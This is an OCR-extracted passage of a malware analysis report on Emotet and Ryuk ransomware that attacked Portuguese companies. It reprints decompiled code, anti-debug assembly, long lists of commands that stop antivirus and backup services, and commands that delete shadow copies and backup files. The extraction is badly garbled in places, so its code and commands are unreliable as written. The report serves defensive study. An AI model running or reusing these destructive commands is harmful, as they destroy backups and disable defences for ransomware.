14 %2FvDhOP61m%2B578UOAODUoPDAJCCOG03tkw3sGH2BxwUK3x6rX0O4ockx6dgBEakoRhfLzCexFegpBgkvVC121XFe%2Frds%2FsTzwlGomDXoR01vAkA1J%2F

Figure 26: Communication between Emotet and C2 server.
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Cc
PUBLIC cipher
More details about Emotet’s Tactics, Techniques and Procedures (TTPs) can be consulted on the

As polymorphic malware, Emotet connects to the C2 once it has successfully infected its victim,
both to retrieve instructions for subsequent malicious activities and exfiltrate stolen data.

According to a , Emotet has recently been observed trying to
connect to 214 C2 IP addresses as opposed to the approximately 10 IP addresses it previously
employed. This denotes an increased growth that puts this malware on the top threads into 2020.

Emotet persists through the Windows Registry or scheduled tasks and has been known to inject into
the "explorer.exe" process.

name (361) group (16)  anonymous {4) type (1) blackiist (B4) anti-debug (0)  undocumented (1)  deprecated (32)  library (10)
SetEnvironmentVanabled _ implicit x - - - kemel32.dll
GetPrivateProfileintA -z | implicit x x kemel32.dll
GetCurrentProcess _ implicit ® - - - kemel32.dil
TisFree | implicit - 2 ] z kemel32.dil
TisSetValue - — implicit kemel32.dil
TisAlloc 2z implicit . - . - kemet32.dll
TisGetValue Tz | implicit = : : E kernel32.dil
GetCurrentThread [z implicit x kernei32.dil
GetCurrentProcessid _ implicit x kemel32.dll
GetCurrentThread|d [E S implicit x kernel32.dil
GetEnvironmentStrings _ implicit ® kemel32.dlI
GetWindowThreadProcessid _ implicit x user32.dil
FindExecutablew [ implicit x shell32.dll
GetPrivateProfileStingd [ implicit x kemel32.dll
WriteP rivateProfileStningA — implicit x = - x kemel32.dll
RegDeleteKeyA | R implicit x advapi32.dil
RegClosekey & implicit . . - advapiz2dil
RegCreateKeyA _ implicit x z E ® advapi32.dlil
RegDeleteValueA a1 implicit ® advapiz2.dil
RegSetValuebid = implicit x = : - advapiz2 il
RegCreateKeyExh [ — implicit : : 3 = advapi32.dil
RegQueryValueA [ implicit x advapi32.dil
RegEnumkeyA _ implicit x z - = advapi32.dll
RegOpenKeyExA i — implicit advapiaZdil
RegQueryValueExh = implicit advapi32.dil
RegOpenkeyA — implicit = - - x advapi32.dil
RegSetValued e implicit x x advapi32.dil
GetCurrentDirectoryf implicit kemel32.dil

Figure 27: Registry calls can be observed on Emotet’s static analysis.

Emotet artifacts are found in arbitrary paths located off the AppData\Local and AppData\Roaming
directories. The artifacts usually mimic the names of known executables.

Persistence between system reboots and attempted cleaning are maintained through Scheduled
Tasks or via registry keys.

Emotet creates random filenames that are run as Windows services. These services will propagate
the malware to adjacent systems via administrative shares, using stolen credentials, Server
Message Block (SMB) shares, and system vulnerabilities.
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C
PUBLIC cipher

In addition, Emotet is a multi-threat malware that in addition to targeting banking credentials, is also
used as a highly efficient gateway to serve secondary and tertiary malware. Typically, it acts as the
initial point of the infected chain, downloading to a 2nd stage other malwares including Trickbot,
Qakbot, Powershell Empire framework and many types of ransomware.

Recently, Emotet has been seen downloading extra payloads in the final stage of the chain. One of
the last occurrences is the Ryuk ransomware, that encrypts all the files available on the infected
machine or infrastructure. This campaign has been called

First discovered in mid-August 2018, Ryuk was the name of a character from a Japanese comic
book series and is now a name associated with ransomware.

In this report, three samples from Ryuk ransomware used on cyber attacks targeted Portuguese
companies were analyzed. The samples were launched by threat actors to finish the infection chain
after initial access via Emotet.

Although this ransomware is not a novel implementation, it has been updated along the past months
by its operators. Ryuk is an improved version of Hermes ransomware. These similarities can be
identified through the graphical flow illustrated below and by comparing the source code of both
samples.

Hermes (21 apr - 2019) Ryuk (13 dez- 2019)

Figure 28: Graphical representation of the Hermes and Ryuk code block.
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Anti-debug and VM techniques were observed inside the analyzed binaries. The functions
IsProcessorFeaturePresent and IsDebuggerPresent were noted during the disassembling of the
three samples (Figure 29).

ExceptionInfo= _EXCEPTION_POINTERS ptr -8
arg_8= dword ptr 8
push ebp
nov ebp, esp
sub esp, 324h
push ebx
push esi
push 17h ; ProcessorFeature
call IsProcessorFeaturePresent
test eax, eax
jz short loc_401B63
A J
P
nouy ecx, [ebp+arg_#]
int 29h ; Win8: RtlFailFast(ecx)
'3
I !
add esp, BCh
mnov [ebp+var_58], 486680815h
mov [ebp+var_54], 1
mnov [ebp+var_4C], eax
call ds:IsDebuggerPresent
push esi ; 1pTopLevelExceptionFilter
lea ebx, [eax-1]
neg ebx
lea eax, [ebp+var_58]
mnov [ebp+ExceptionInfo.ExceptionRecord], eax
lea eax, [ebp+var_324]
sbhb bl, bl
mov [ebp+ExceptionInfo.ContextRecord], eax
inc bl
call ds:SetUnhandledExceptionFilter
lea eax, [ebp+ExceptionInfo]
push eax ; ExceptionInfo
call ds:UnhandledExceptionFilter
test eax, eax
jnz short loc_A481BFD

| _
[l s |

Figure 29: Techniques anti-debug and vm presented in Ryuk ransomware.

Ryuk enumerates all the active processes in the system, and if they are running with high privileges,
it tries to inject ransomware code into the processes. However, some processes are excluded,
namely:

® cCsrss.exe
e explorer.exe
e |sass.exe
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178
171
172
173
174
175
176
177
178
179
188
181
182
183
184
185
186
187
188
189
198
191
192
193
194
195
196
197
198
199
208
2m
282
283
20y
285
286
2a7
208
289
218
211
212

PUBLIC

;uh_3BBB36MB(TokenHandle, L"SebebugPrivilege”, 1});
sub_380069DA(v12, 8, 7620800);
sub_30882FAB(vi2);
GetHoduleFileManeW({®, v23, Ox64u);
for { m = sub_38889616(v23); m > B; --m )
L J
if { v23[m] == 92 ) =
{ 033 = B push offset aCsrss_exe ; "csrss.exe”
FOF (N =m+1: 3 ++n ) imul edx, [ebp+var_4], 1FCh
{ ’ lea eax, [ebp+edx+var_BB348]
h eax
uiB = sub_30089816(u23); pus
if ( n »= (unsigned inty{uiB + 1) ) E;;l :EE_SSEBSFBH
break; ’
_ - test eax, eax
vzz[uisee] = vzsnl; jz short loc_38088711%
break; L
H _ L J
p ]
u26 f “f push offset aExplorer_exe ; “explorer.exe’
vl = 15 imul ecx, [ebp+var_4], 1FCh
LR?EL_SB. lea edx, [ebp+ecx+var_ BB348]
if ( vl <=4 ) push edx
i » . call sub_30808FBY
for ( ii = B; ; ++ii ) add esp, 8
{ - .. test eax, eax
:F (11 >= 100 ) jz short loc_3888711%4
LABEL_65 : |
Ul Y
goto LABEL_58;
K . push offset alsaas_exe ; “lsaas_exe"
if ( sub_3BABRFBu(u??, RU1Z[588 * ii]) imul eax, [ebp+var 4], 1FCh
B wIN[127 = ii] == uii . lea ecx, [ebpreax+var BBE3u8]
&k sub_3000BFBA4{&U12[5088 = 1i], L"csrss.exe’) push ecy
&& sub_300088FB4({&u12[508 = ii], L explorer.exe™) call sub 30008BFB4
&& sub_3FOBOBFE4(EU1Z[508 = ii], L"lsaas.exe™) } add esp, 8
{. test pax, eax
if ( v32 && tusd || wdl == 1) jz short loc_30007114
continue;
v26 = sub_200B1DE@{*{&duProcessid + 127 = ii})});
Sleep{Bx1F4u);
1
if { *={&duProcessid + 127 = ii) )

After that, the ransomware gets all the available drives from the infected machine and creates a

Figure 30: Processes excluded by Ryuk on the injection task.

new process with the target Windows drive (Figure 31, line 88).
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82
83
84
85
86
87
88
89
o8
91
92
93
o4
95
96
97
98
29
laa
181
182
183
184
185
186
a7
| 88
189
1a
111
12
113
114
15
16
17
18
19
128
121
122
123
124

Ccipher

u25 = LAd;

sub_308069DB(&Filename, 8, 1808);
sub_308869DB(&u15, B8, 1008);
sub_208069DB(HewFileHane, 8, 18088);
sub_388869DA(&Faraneters, @, 10808);
GetModuleFileMameW{®, &Filename, Ox%3E8u);
u20 = GetlLogicalbrives()

BYTE3{uuh) = 97;

For { 1 = B; 1 € 263 ++1 )

{
uzZe = (u29 >» i) & 1;
if ( v28 )
{
RootPathHame[A] = i + 65;
RootPathHame[1] = 58;
RootPathHame[2] = B8;

if { GetDriveTypeW(RootPathHame) *= 5 && GetDriveTypeW({RootPathName) = 4 )

sub_30808FF4(HewFiledane, &Filename);
for ( j = sub_38089816(HewFileNane); (signed int}j > 8; --7 )

if { HewFileMame[j] == 92 )
{ =
-I--I-] ;
For ( k= j; ;3 ¥+k )
{
u6 = sub_300809816(HewFileHane);
if ( k >= v6 )
break;
HewFileMame[k] = 8;

break;

H
sub_308869DA(vZL, B8, 308);
For ( 1 =8; 1 < 7; ++1 )
{
u3e = 8;
do
U39 = sub_30009492() % OxFAu;
while ( tsub_30808D76(vi?) );
uZ4[1] = v39;
H

Figure 31: Ryuk collects all the available drives from the target machine.

The ransomware collects 7 Windows drive identifiers and pass them as an argument to the new
process. One of Ryuk's particulaires is that it performs a new encryption process for each of the

identified drives.
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According to , all the possible values are the following.

The return value specifies the type of drive, which can be one of the following values.

Return code/value Description

DRIVE_UNKNOWN The drive type cannot be determined.

0

DRIVE_NO_ROOT_DIR The root path is invalid; for example, there is no volume mounted at the specified
1 path.

DRIVE_REMOVABLE The drive has removable media; for example, a floppy drive, thumb drive, or flash
2 card reader.

DRIVE_FIXED The drive has fixed media; for example, a hard disk drive or flash drive.

3

DRIVE_REMOTE The drive is a remote (network) drive.

4

DRIVE_CDROM The drive is a CD-ROM drive.

5

DRIVE_RAMDISK The drive is a RAM disk.

5]

Figure 32: All the available code-drives on a Windows operating system.

Depending on the type of drive, the ransomware injects the code into a process that meets the
requirements and a new flow begins with the following configuration.

C:\Users\Johnson\AppData\Local\Temp\TIMMhwH.exe 5 A:
C:\Users\Johnson\AppData\Local\Temp\SvmBjxd.exe 5 C:
C:\Users\Johnson\AppData\Local\Temp\TahUpja.exe 8 LAN

Format used by Ryuk:
random.exe <id> <drive>

The Ryuk executable file, based on the execution parameter, performs the following steps:

If it is 5 then encrypt the hard disk according to the letter of the unit given as parameter;
If it is 7 then enumerates network resources and encrypt them;

If it is 2 then encrypt all units starting from A:, B:, C:;

Otherwise, encrypt all units starting from Z:, Y:, X:, etc.
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If Ryuk is executed with high privileges, it tries to stop some services from running:

95

26

oF

o8

99
188
181
182
183
184
185
186
187
188
189
118
111
112

for { n = B; n < aZz; ++n )

{
Ul = B;
for ( ii = @8; ii € ServicesReturned; ++ii )
{

U5 = sub 308089016{{int)lpServices[ii].1lpServiceHane);

if ( v5 >= {unsigned int)sub_20808089816{a1 + 528 = n) )

{
u9 = sub_3880697B(1lpServices[ii].1lpServiceName, a1l + 528 = n);
if { v? || tsub_30088FBA4{lpServices[ii].lpServiceHame, ai1 + 528 % n) )
{

sub_30008FF4(&FParameters, LYstop \""});
sub_3080888F83{&Faraneters, lpServices[ii].lpServiceName);
sub_308088F83(&Farameters, L™\ fy™);
ShellExecuoteW {8, 8, L"net”, &Parameters, @, B);
Sleep{8x96u});
break;

H

Figure 33: Code block where a list of target services are stopped.

Some performed operations are:

C:\Windows\System32\net.exe stop audioendpointbuilder /y
C:\Windows\System32\net.exe stop samss /y
C:\Windows\system32\net1 stop samss /y
C:\Windows\system32\net1 stop audioendpointbuilder /y
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stop "Acronis VSS Provider" ly

stop "Enterprise Client Service" /y

stop "Sophos Agent" /y

stop "Sophos AutoUpdate Service" /y
stop "Sophos Clean Service" ly

stop "Sophos Device Control Service" /y
stop "Sophos File Scanner Service" ly
stop "Sophos Health Service" /y

stop "Sophos MCS Agent" /y

stop IMAP4Svc /y
stop macmnsvc /y
stop masvc /y

stop MBAMService /y

stop MSSQL$TPSAMA Jy

stop MSSQL$VEEAMSQL2008R2 /y

stop MSSQL$VEEAMSQL2012 /y
stop MSSQLFDLauncher ly

stop MBEndpointAgent /y

stop
stop McAfeeEngineService ly MSSQLFDLauncher$PROFXENGAGEMEN
stop McAfeeFramework /y Tl
stop McAfeeFrameworkMcAfeeFramework / stop
MSSQLFDLauncher$SBSMONITORING /y

stop "Sophos MCS Client" /y
stop "Sophos Message Router" /y
stop "Sophos Safestore Service" /y

stop "Sophos System Protection Service" ly

stop "Sophos Web Control Service" /y
stop "SQLsafe Backup Service" /y
stop "SQLsafe Filter Service" ly

stop "Symantec System Recovery" /y

stop "Veeam Backup Catalog Data Service"

ly

stop AcronisAgent /y

stop AcrSch2Svc /y

stop Antivirus /y

stop ARSM /y

stop BackupExecAgentAccelerator /y
stop BackupExecAgentBrowser /y
stop BackupExecDeviceMediaService /y
stop BackupExecJobEngine /y

stop BackupExecManagementService /y
stop BackupExecRPCService ly

stop BackupExecVSSProvider /y
stop bedbg /y

stop DCAgent /y

stop EPSecurityService /y

stop EPUpdateService /y

stop EraserSvc11710 /y

stop EsgShKernel /y

stop FA_Scheduler /y

stop [ISAdmin /y

stop SMTPSvc /y

stop SNAC /y

stop SntpService ly

stop sophossps /y

stop SQLAgent$BKUPEXEC /y

stop SQLAgent$ECWDB?2 /y

stop SQLAgent$PRACTTICEBGC /y
stop SQLAgent$PRACTTICEMGT /y

stop SQLAgent$PROFXENGAGEMENT /y

stop SQLAgent$SBSMONITORING Yy
stop SQLAgent$SHAREPOINT /y
stop SQLAgent$SQL_2008 /y

stop SQLAgent$SYSTEM_BGC ly
stop SQLAgent$TPS /y

stop SQLAgent$TPSAMA fy

stop SQLAgent$VEEAMSQL2008R2 /y
stop SQLAgent$VEEAMSQL2012 fy
stop SQLBrowser /y

stop SQLSafeOLRService /y

stop SQLSERVERAGENT /y

stop SQLTELEMETRY /y

stop SQLTELEMETRY$ECWDB2 /y
stop SQLWriter /y

stop SstpSvc /y

stop svcGenericHost /y

stop swi_filter /y

Some processes are also killed during the ransomware execution.

y

stop McShield /y

stop McTaskManager /y

stop mfemms /y

stop mfevtp ly

stop MMS y

stop mozyprobackup /y

stop MsDtsServer /y

stop MsDtsServer100 /y

stop MsDtsServer110 /y

stop MSExchangeES /y

stop MSExchangelS /y

stop MSExchangeMGMT /y

stop MSExchangeMTA /y

stop MSExchangeSA /y

stop MSExchangeSRS /y

stop MSOLAP$SQL_2008 /y

stop MSOLAP$SYSTEM_BGC /y
stop MSOLAPS$TPS /y

stop MSOLAP$TPSAMA Jy

stop MSSQL$BKUPEXEC fy

stop MSSQL$ECWDB2 /y

stop MSSQL$PRACTICEMGT /y
stop MSSQL$PRACTTICEBGC /y
stop MSSQL$PROFXENGAGEMENT /y
stop MSSQL$SBSMONITORING /y
stop MSSQL$SHAREPOINT /y
stop MSSQL$SQL_2008 /y

stop MSSQL$SYSTEM_BGC /y
stop MSSQLS$TPS /y

stop swi_service /y

stop swi_update_64 /y

stop TmMCCSF /y

stop tmlisten /y

stop TrueKey /y

stop TrueKeyScheduler /y

stop TrueKeyServiceHelper /y
stop UlODetect /y

stop VeeamBackupSvc /y

stop VeeamBrokerSvc /y

stop VeeamCatalogSvc /y

stop VeeamCloudSvc /y

stop VeeamDeploymentService /y
stop VeeamDeploySvc /y

stop VeeamEnterpriseManagerSvc /y
stop VeeamMountSvc ly

stop VeeamNFSSvc /y

stop VeeamRESTSvc /y

stop VeeamTransportSvc /y

stop W3Svc ly

stop wbengine /y

stop WRSVC /y

stop MSSQL$VEEAMSQL2008R2 /y
stop SQLAgent$VEEAMSQL2008R2 /y
stop VeeamHvIntegrationSvc /y
stop swi_update /y

stop MSSQLFDLauncher$SHAREPOINT /y
stop MSSQLFDLauncher$SQL_2008 /y

stop MSSQLFDLauncher$SYSTEM_BGC /y

stop MSSQLFDLauncher$TPS /y
stop MSSQLFDLauncher$TPSAMA /y
stop MSSQLSERVER /y

stop MSSQLServerADHelper100 /y
stop MSSQLServerOLAPService /y
stop MySQL80 /y

stop MySQL57 /y

stop ntrtscan /y

stop OracleClientCache80 /y

stop PDVFSService ly

stop POP3Svc ly

stop ReportServer /y

stop ReportServer$SQL_2008 /y
stop ReportServer$SYSTEM_BGC /y
stop ReportServer$TPS /y

stop ReportServer$TPSAMA /y
stop RESvc /y

stop sacsvr fy

stop SamSs /y

stop SAVAdminService /y

stop SAVService ly

stop SDRSVC ly

stop SepMasterService /y

stop ShMonitor /y

stop Smcinst /y

stop SmcService /y

stop SQLAgent$CXDB /y

stop SQLAgent$CITRIX_METAFRAME /y
stop "SQL Backups" ly

stop MSSQL$PROD /y

stop "Zoolz 2 Service" ly

stop MSSQLServerADHelper /y
stop SQLAgent$PROD fy

stop msftesql$PROD /y

stop NetMsmaqActivator /y

stop EhttpSrv /y

stop ekrn /y

stop ESHASRYV /y

stop MSSQL$SOPHOS /y

stop SQLAgent$SOPHOS /y

stop AVP /y

stop kinagent /y

stop MSSQL$SQLEXPRESS /y
stop SQLAgent$SQLEXPRESS /y
stop wbengine /y

stop kavfsslp ly

stop KAVFSGT ly

stop KAVFS /y

stop mfefire /y
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"PiE

N Attributes: np based frame —
while ( Processd2MextW(hSnapshot, &pe) )

; DWORD _ stdcall sub_30@83728(LPUDID lpThreadParameter) {

sub_300083728 proc near For ( ko= B; ; ++k )

war_b= dword ptr -4

1pThreadParameter= dword ptr 8 uly = sub_30009016( (int)pe.szExeFile);
N N ifF ( k »= uk )
pus ehp break;
pn::h :‘;: e=r u22 = pe.szixeFile[k];
mou [ebpruar_4], © u22 = sub_30008F53(pe.szExeFile[k]);
pe.szeExeFile[k] = v22;
H
Uit = 83
for (1 = 8; 1 < a2 = 1; ++1 )
loc_300@3720: {
cop [ebpruar_ul, 190 U5 = sub_30009016((int)pe . szExeFile):
Tor _ofont Jov JOWNTO if ( u5 >= (unsigned int)sub_80009016(a1 + 520 % 1) )
¥ [] {
FE] FE] ulh = sub_30006070(p:.szExeFile, a1 + 520 % 1);
push 26h if ( vi6 || tsub_3000BFBU(pe.szExeFile, a1 + 528 » 1) )
mou eax, 208h loc_3008376F : {
imal  ocx, eax, 8 B mv  eax, 4 sub_B0008FFH(&Paraneters, LY/IH “);
pueh ooy Offset aveean  fueean pev b ete sub_30008F8 (&P arancters, pe.szExeFile);
pus ecx pop ebp _ "y . H
call  sub_30082940 retn 5 sub_30008F83 (&P arancters, L™ JF");
add esp, § Sub_308837ze endp | shellExecutew(®, @, L taskkill", &Paraneters, 8, 0);
push 3Eh .
oo edx, 208h goto LABEL_11;
inul eax, edx, 0 H
add eax, offset aleeam_B ; “veean” }
push eax H
call sub_300820F @ ¥
add esp, §
push BCA% AR ; duwHilliseconds
call ds:Sleep
inp short loc_J00R3720
L

Figure 34: Code block where some processes are Kkilled.

The final command is presented below. In this case, it is using outlook.exe (one of the processes
running in the machine):

o  C:\Windows\System32\taskkill.exe /IM outlook.exe /F
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/IM veeam /F

/IM xchange /F
/IM dbeng /F

/IM sofos /F

/IM calc /F

/IM ekrn /F

/IM zoolz /F

/IM encsvc /F

/IM excel /F

/IM firefoxconfig /F
/IM infopath /F
/IM msaccess /F
/IM mspub /F

/IM mydesktop /F
/IM ocautoupds /F
/IM ocomm /F

/IM ocssd /F

/IM onenote /F
/IM oracle /F

/IM outlook /F

/IM powerpnt /F
/IM sgbcoreservice /F
/IM steam /F

/IM synctime /F
/IM tbirdconfig /F
/IM thebat /F

/IM thunderbird /F
/IM visio /F

/IM word /F

/IM xfssvceon /F
/IM tmlisten /F
/IM PccNTMon /F
/IM CNTAoSMgr /F
/IM Ntrtscan /F
/IM mbamtray /F
/IM Back /F

/IM ackup /F

/IM acronis /F

/IM Veeam /F

/IM AcrSch /F

/IM bedbg /F

/IM DCAgent /F
/IM EPSecurity /F
/IM EPUpdate /F

/IM FA_Scheduler /F
/IM 1ISAdmin /F
/IM MBAM /F

/IM Endpoint /F
/IM Afee /F

/IM McShield /F
/IM Task /F

/IM mfemms /F
/IM mfevtp /F

/IM MsDts /F

/IM Exchange /F
/IM ntrt /F

/IM PDVF /F

/IM Report /F

/IM RESvc /F

/IM sacsvr /F

/IM SAVAdmin /F
/IM SamS /F

/IM SDRSVC /F
/IM SepMaster /F
/IM Smcinst /F

/IM SmcService /F
/IM SNAC /F

/IM swi_ /F

/IM CCSF /F

/IM TrueKey /F
/IM UlODetect /F
/IM WRSVC /F
/IM NetMsmq /F
/IM EhttpSrv /F
/IM ESHASRV /F
/IM kinagent /F
/IM wbengine /F
/IM KAVF /F

/IM mfefire /F

/IM hrmlog /F

/IM zoolz.exe /F
/IM agntsvc.exe /F
/IM dbeng50.exe /F
/IM dbsnmp.exe /F
/IM encsvc.exe /F
/IM excel.exe /F

/IM firefoxconfig.exe /F

/IM infopath.exe /F

/IM msftesql.exe /F
/IM mspub.exe /F
/IM mydesktopqos.exe /F

/IM mydesktopservice.exe /F

/IM mysqld.exe /F

/IM mysgld-nt.exe /F
/IM mysqld-opt.exe /F
/IM ocautoupds.exe /F
/IM ocomm.exe /F

/IM ocssd.exe /F

/IM onenote.exe /F
/IM oracle.exe /F

/IM outlook.exe /F

/IM powerpnt.exe /F
/IM sqgbcoreservice.exe /F
/IM sqglagent.exe /F
/IM sqlbrowser.exe /F
/IM sqlservr.exe /F
/IM sqlwriter.exe /F
/IM steam.exe /F

/IM synctime.exe /F
/IM tbirdconfig.exe /F
/IM thebat.exe /F

/IM thebat64.exe /F
/IM thunderbird.exe /F
/IM visio.exe /F

/IM winword.exe /F
/IM wordpad.exe /F
/IM xfssvccon.exe /F
/IM tmlisten.exe /F

/IM PccNTMon.exe /F
/IM CNTAoSMgr.exe /F
/IM Ntrtscan.exe /F
/IM mbamtray.exe /F

/IM Eraser /F /IM isqglplussvc.exe /F
/IM EsgShKernel /F /IM msaccess.exe /F

The list of services and processes has grown over time. In total, one of the analyzed sample
contains 184 services and 126 processes. The services are related to AV companies, backups,
database programs and others. The processes are related to email services, word processors and
others.

Another interesting detail is that Ryuk also deletes some files from the destination machine. As
shown, shadow copies and some files with backup extensions are also deleted from the target
machine.
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.data:AB4Z02F0 aUssadminDelete db
.data:ee4302F0 db
.data:ee4302F0 db
.data:ee4302F 8 db
.data:eeL4302F 8 db
.data:eeL4302F 8 db
.data:eeL4302F 8 db
.data:eeL4302F 8 db
.data:eeL4302F 8 db
.data:eeL4302F 8 db
.data:BAL3BZ2F B db
.data:BAL3BZ2F B db
.data:BAL3BZ2F B db
.data:BAL3BZ2F B db
.data:BAL3BZ2F B db
.data:BAL3BZ2F B db
.data:BAL3BZ2F B db
.data:BAL43B2F 0 db
.data:BAL43B2F 0 db
.data:BAL43B2F 0 db
.data:BAL43B2F 0 db
.data:BAL43B2F 0 db
.data:BAL43B2F 0 db
.data:BAL43B2F 0 db
.data:B8AL4L3B2F 0 db
.data:B8AL4L3B2F 0 db
.data:B8AL4L3B2F 0 db
.data:B8AL4L3B2F 0 db
.data:B8AL4L3B2F 0 db
.data:B8AL4L3B2F 0 db
.data:B8AL4L3B2F 0 db
.data:ee4302F0 db
.data:ee4302F0 db

‘ussadmin
‘ussadmin
‘ussadmin
B8Ah

‘yssadmin
‘yssadmin
B8Ah

‘yssadmin
‘yssadmin
B8Ah

‘vssadmin
‘vssadmin
BAh

‘vssadmin
‘vssadmin
BAh

‘vssadmin
‘ussadmin
BAh

‘ussadmin

‘del %0°,0

Delete
resize
resize

resize
resize

resize
resize

resize
resize

resize
resize

resize
resize

Delete

Shadows fall /quiet',8Dh,8Ah

chadowstorage
chadowstorage

shadoustorage
shadoustorage

shadoustorage
shadoustorage

shadowstorage
shadowstorage

shadowstorage
shadowstorage

shadowstorage
shadowstorage

fFor=c:
fFor=c:

Ffor=d:
Ffor=d:

Ffor=e:
Ffor=e:

Fffor=Ff:
Fffor=Ff:

ffor=gq:
ffor=gq:

Ffor=h:
Ffor=h:

fon=c:
fon=c:

fon=d:
fon=d:

fon=e:
fon=e:

fon=f:
fon=f:

fon=gq:
fon=gq:

fon=h:
fon=h:

Shadows /all /quiet',8Dh,8Ah
‘del /s /F fq c:ohv= UHD c:ihv*_bac c:v*_bak c:v+.wbcat c:ihv=_bkf c:vBa'
'ckupx.% c:\backup*.%x c:i\*.set c:\x.win c:i\=_dsk',8Dh,8Ah
‘del /s /F fq d:w=_UHD d:*_bac d:*_bak d:\»*.wbcat d:\=_bkf d:%“Ba'
‘ckupx.% d:\backup=*.x d:\*.set d:\*.win d:\=_dsk',8Dh,8ah
‘del /s /F Fq e:w=_UHD e:x*_bac e:*_bak e:*_ wbcat e:\=_bkf e:\Ba'
‘ckupx*.* e:\backup=_x e:\*.set e:\x_win e:\x._.dsk',08Dh,B8Ah
‘del /s /fF fq F:hw= UHD Fiiv>_bac F£:x_bak F:y+.wbcat fohv=_bkf f:\Ba'
‘ckupx*.* f:\backup=_% f:\=.set f:\x_win f:\=x_.dsk',06Dh,BAh
‘del /s /F Fq g:w=_UHD g:\*_bac g:*_bak g:‘*.wbcat g:\=_bkf g:\Ba'
‘ckupx*.* g:\backup=_% g:\=.set g:\x_win g:\=.dsk',8Dh,B8Ah
‘del /s /F Fq h:w= UHD h:iv*_bac h:vx_bak h:yv+.wbcat hiv=_bkf h:\Ba®
‘ckup*.% h:\backup#*.%* h:y*.set h:\*.win h:\*_dsk',0Dh,8Ah

fmaxsize=4081MB" ,AD0h, BAN
fmaxsize=unbounded" ,8Dh

Jmaxsize=4681MB" ,800, BAN
Jmaxsize=unbounded"® ,80h

Jmaxsize=4681MB" ,800, BAN
Jmaxsize=unbounded"® ,80h

fmaxsize=481MB" , @00, BAK
fmaxsize=unbounded"® , 80h

fmaxsize=481MB" , @00, BAK
fmaxsize=unbounded"® , 80h

fmaxsize=481MB" , @00, BAK
/maxsize=unbounded" ,8Dh

Figure 35: Shadow backups and some backup files are deleted from the machine.

vssadmin Delete Shadows /all /quiet

vssadmin resize shadowstorage /for=c
vssadmin resize shadowstorage /for=c
vssadmin resize shadowstorage /for=d
vssadmin resize shadowstorage /for=d
vssadmin resize shadowstorage /for=e
vssadmin resize shadowstorage /for=e

vssadmin Delete Shadows /all /quiet

: Jon=c: /maxsize=401MB

: /on=c: /maxsize=unbounded
: Jon=d: /maxsize=401MB

: Jon=d: /maxsize=unbounded
: /Jon=e: /maxsize=401MB

: Jon=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded

del /s /f /g c:\*.VHD c:\*.bac c:\*.bak c:\*.wbcat c:\*.bkf c:\\Backup*.* c:\\backup*.* c:\*.set c:\*.win c:\*.dsk
del /s /f /q d:\*.VHD d:\*.bac d:\*.bak d:\*.wbcat d:\*.bkf d:\Backup*.* d:\\backup*.* d:\*.set d:\".win d:\*.dsk
del /s /f /g e\*.VHD e:\*.bac e:\*.bak e:\*.wbcat e:\*.bkf e:\Backup*.* e:\backup*.* e:\*.set e:\*.win e:\*.dsk
del /s /f /q f\*.VHD f:\*.bac f:\*.bak f:\*.wbcat f:\*.bkf f\Backup*.* f:\backup*.* f:\*.set f:\*.win f:\*.dsk

del /s /f /q g:\*.VHD g:\*.bac g:\*.bak g:\".wbcat g:\".bkf g:\Backup™.* g:\backup*.* g:\*.set g:\".win g:\*.dsk
del /s /f /g h:\*.VHD h:\*.bac h:\*.bak h:\*.wbcat h:\*.bkf h:\Backup*.* h:\\backup*.* h:\*.set h:\*.win h:\*.dsk

del %0

For each drive identified on the machine, Ryuk drops a new file in the user’s public directory that will
run and encrypt a specific Windows drive. This piece of malware validates the folder existence for
either newer or older operating systems versions.
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loc_3080425E: ; int

push 1

push offset Mame 5 "SeBackupPrivilege™
moy edx, [ebp+TokenHandle]

push edx ; TokenHandle

call sub_300803640

add esp, BCh

call sub_3080055F0

moy dvord_38129A44, eax

push 6G4h H

; _DWORD
push offset unk_30129040 ; _DWORD
call dword_3882F738
push offset asystem32Cmd_ex : "\iSystem32iicmd.exe™
push offset unk_30129040
call sub_3008683nEA

add esp, 8
push 286h
push 8

push offset word_38129768

call sub_3088869DA8

add esp, BCh

push 146h ; _DWORD
push offset word_38129768 ; _DWORD
call dvword_3002F738

moy eax, 2
shl eax, 1
xor ecx, ecx
moy word_38129768[eax], cx
cnp dword_36129a4%, 1
jnz short loc_ 300842EE
A J _
push offset aDocumentsaAnd 8 ; “\\Documents and SettingsyiDefault Usery™”...
push offset word_38129760 loc_300042EE: ; UWwusersihPublich\t
call sub_30003AERQ push offset alsersPublic
add esp, 8 push offset word_ 38129768
jmp short loc_38004300 call sub_38003AE0
add esp, 8
| !
vy
s 5 |

Figure 36: Malware validates the existence of certain directories where the binaries will be dropped and
executed.

“WDocuments and Settings\\Default User\"\\users\\Public\\”

For instance, If two drives are identified, A and C, the binary drops two new binaries into the temp
directory:

e (C:\Users\Johnson\AppData\Local\Temp\TIMMhwH.exe

e (C:\Users\Johnson\AppData\Local\Temp\SvmBjxd.exe
These binaries are then executed for the drivers:

e C:\Users\Johnson\AppData\Local\Temp\TIMMhwH.exe 5 A:

e (C:\Users\Johnson\AppData\Local\Temp\SvmBjxd.exe 5 C:

In the same directory, a ransom note is also dropped:
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file://users//Public//

Ccipher

PUBLIC
il e =
loc_36884420:
push 2718h
push a
push offset Buffer
call sub_3808869D8
add esp, BCh
push offset Buffer s 1pBuffer
push 1388h ; nBufferLength
call ds:GetTempPath¥
push offset Buffer
call sub_380882818
add esp, 4
push 2718h
push 8 sub_30082818 proc near =
push offset Buffe s
call sub_3808869D¢
add esp, GCh var_8 = dword ptr -8
cmp [ebp+arg_B].var_A = dword ptr -4
jnz loc_380045Biarg @ = dyord ptr 8
push ebp
mov ebp, esp
suh esp, 8
push offset aRyukreadme_htm
mou eax, [ebp+arg_ 8]
push eax

CODE XREF: sub_30002130+495)p
sub_30802138+4C9)p ...

RyukReadHe _html""

Figure 37: Ransom note dropped into the specific folders.

When the ransomware starts encrypting machine files, it creates a file called “sys” that serves as a
flag to identify the beginning of the encryption operation.

12| ve = B;
13| u5 = 5B;

14| GetWindowsDirectoryW{&Buffer, Bx32u};

15 w3 = B3
16| vh = 83
17 if ( a1 )

